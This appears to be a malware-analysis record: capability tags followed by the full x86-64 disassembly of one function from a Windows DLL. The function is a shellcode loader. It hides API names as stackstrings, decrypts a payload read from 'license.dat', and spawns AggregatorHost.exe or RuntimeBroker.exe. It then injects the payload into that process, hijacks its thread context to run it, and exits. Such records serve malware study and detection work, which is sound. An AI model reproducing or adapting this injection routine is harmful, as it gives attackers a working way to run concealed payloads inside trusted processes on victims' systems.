Function at 0x180005930
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x6a8
mov rax, qword [0x18000b040]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov dword [rsp + 0x90], 0
mov byte [rsp + 0x640], 0x56
mov byte [rsp + 0x641], 0x69
mov byte [rsp + 0x642], 0x72
mov byte [rsp + 0x643], 0x74
mov byte [rsp + 0x644], 0x75
mov byte [rsp + 0x645], 0x61
mov byte [rsp + 0x646], 0x6c
mov byte [rsp + 0x647], 0x41
mov byte [rsp + 0x648], 0x6c
mov byte [rsp + 0x649], 0x6c
mov byte [rsp + 0x64a], 0x6f
mov byte [rsp + 0x64b], 0x63
mov byte [rsp + 0x64c], 0
mov byte [rsp + 0x678], 0x53
mov byte [rsp + 0x679], 0x65
mov byte [rsp + 0x67a], 0x74
mov byte [rsp + 0x67b], 0x54
mov byte [rsp + 0x67c], 0x68
mov byte [rsp + 0x67d], 0x72
mov byte [rsp + 0x67e], 0x65
mov byte [rsp + 0x67f], 0x61
mov byte [rsp + 0x680], 0x64
mov byte [rsp + 0x681], 0x43
mov byte [rsp + 0x682], 0x6f
mov byte [rsp + 0x683], 0x6e
mov byte [rsp + 0x684], 0x74
mov byte [rsp + 0x685], 0x65
mov byte [rsp + 0x686], 0x78
mov byte [rsp + 0x687], 0x74
mov byte [rsp + 0x688], 0
mov byte [rsp + 0x650], 0x52
mov byte [rsp + 0x651], 0x65
mov byte [rsp + 0x652], 0x73
mov byte [rsp + 0x653], 0x75
mov byte [rsp + 0x654], 0x6d
mov byte [rsp + 0x655], 0x65
mov byte [rsp + 0x656], 0x54
mov byte [rsp + 0x657], 0x68
mov byte [rsp + 0x658], 0x72
mov byte [rsp + 0x659], 0x65
mov byte [rsp + 0x65a], 0x61
mov byte [rsp + 0x65b], 0x64
mov byte [rsp + 0x65c], 0
mov byte [rsp + 0x660], 0x47
mov byte [rsp + 0x661], 0x65
mov byte [rsp + 0x662], 0x74
mov byte [rsp + 0x663], 0x54
mov byte [rsp + 0x664], 0x68
mov byte [rsp + 0x665], 0x72
mov byte [rsp + 0x666], 0x65
mov byte [rsp + 0x667], 0x61
mov byte [rsp + 0x668], 0x64
mov byte [rsp + 0x669], 0x43
mov byte [rsp + 0x66a], 0x6f
mov byte [rsp + 0x66b], 0x6e
mov byte [rsp + 0x66c], 0x74
mov byte [rsp + 0x66d], 0x65
mov byte [rsp + 0x66e], 0x78
mov byte [rsp + 0x66f], 0x74
mov byte [rsp + 0x670], 0
mov byte [rsp + 0x630], 0x6b
mov byte [rsp + 0x631], 0x65
mov byte [rsp + 0x632], 0x72
mov byte [rsp + 0x633], 0x6e
mov byte [rsp + 0x634], 0x65
mov byte [rsp + 0x635], 0x6c
mov byte [rsp + 0x636], 0x33
mov byte [rsp + 0x637], 0x32
mov byte [rsp + 0x638], 0x2e
mov byte [rsp + 0x639], 0x64
mov byte [rsp + 0x63a], 0x6c
mov byte [rsp + 0x63b], 0x6c
mov byte [rsp + 0x63c], 0
lea rcx, [rsp + 0x630]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x660]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x630]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x678]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa0], rax
lea rcx, [rsp + 0x630]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x640]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x630]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x650]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa8], rax
call fcn.1800056a0
mov qword [rsp + 0x68], rax
lea rax, [0x18000b790]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x68]
movzx eax, byte [rax]
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x60]
movzx ecx, byte [rsp + 0x50]
mov byte [rax], cl
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x60]
inc rax
mov qword [rsp + 0x60], rax
cmp byte [rsp + 0x50], 0
jne 0x180005c5e
lea rax, [0x18000b790]
mov qword [rsp + 0x58], rax
dec qword [rsp + 0x58]
inc qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
cmp byte [rax], 0
jne 0x180005ca8
mov rax, qword [rsp + 0x58]
lea rcx, str.license.dat
mov rdi, rax
mov rsi, rcx
mov ecx, 0xd
rep movsb byte [rdi], byte [rsi]
lea rdx, [0x180009550]
lea rcx, [0x18000b790]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x54], 0
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [0x18000b7e0]
add rcx, rax
mov rax, rcx
mov r9, qword [rsp + 0x70]
mov r8d, 1
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test rax, rax
je 0x180005d2d
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
jmp 0x180005cf1
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0xc0], eax
movsxd rax, dword [rsp + 0xc0]
mov r9d, 2
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x80], rax
mov byte [rsp + 0xe4], 0x14
mov byte [rsp + 0xe5], 2
mov byte [rsp + 0xe6], 0x4a
mov byte [rsp + 0xe7], 0xeb
mov byte [rsp + 0xe0], 0
mov dword [rsp + 0x30], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xe4]
mov r8d, 0xc
mov edx, 0x16
mov rcx, qword [0x18000b7e0]
call fcn.180005450
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x94], 0
lea rax, [rsp + 0xf0]
mov rdi, rax
xor eax, eax
mov ecx, 0x70
rep stosb byte [rdi], al
call fcn.180005770
test eax, eax
je 0x180005e18
call fcn.180005850
lea rax, str.AggregatorHost.exe
mov qword [rsp + 0x78], rax
jmp 0x180005e24
lea rax, str.RuntimeBroker.exe
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x190], 0x10003
lea rdx, [rsp + 0x160]
mov rcx, qword [rsp + 0xd0]
call qword [rsp + 0x98]
movsxd rax, dword [rsp + 0xc0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x88], rax
movsxd rax, dword [rsp + 0xc0]
lea rcx, [rsp + 0xe8]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x258], rax
lea rdx, [rsp + 0x160]
mov rcx, qword [rsp + 0xd0]
call qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xd0]
call qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.1800060b0
add rsp, 0x6a8
pop rdi
pop rsi
ret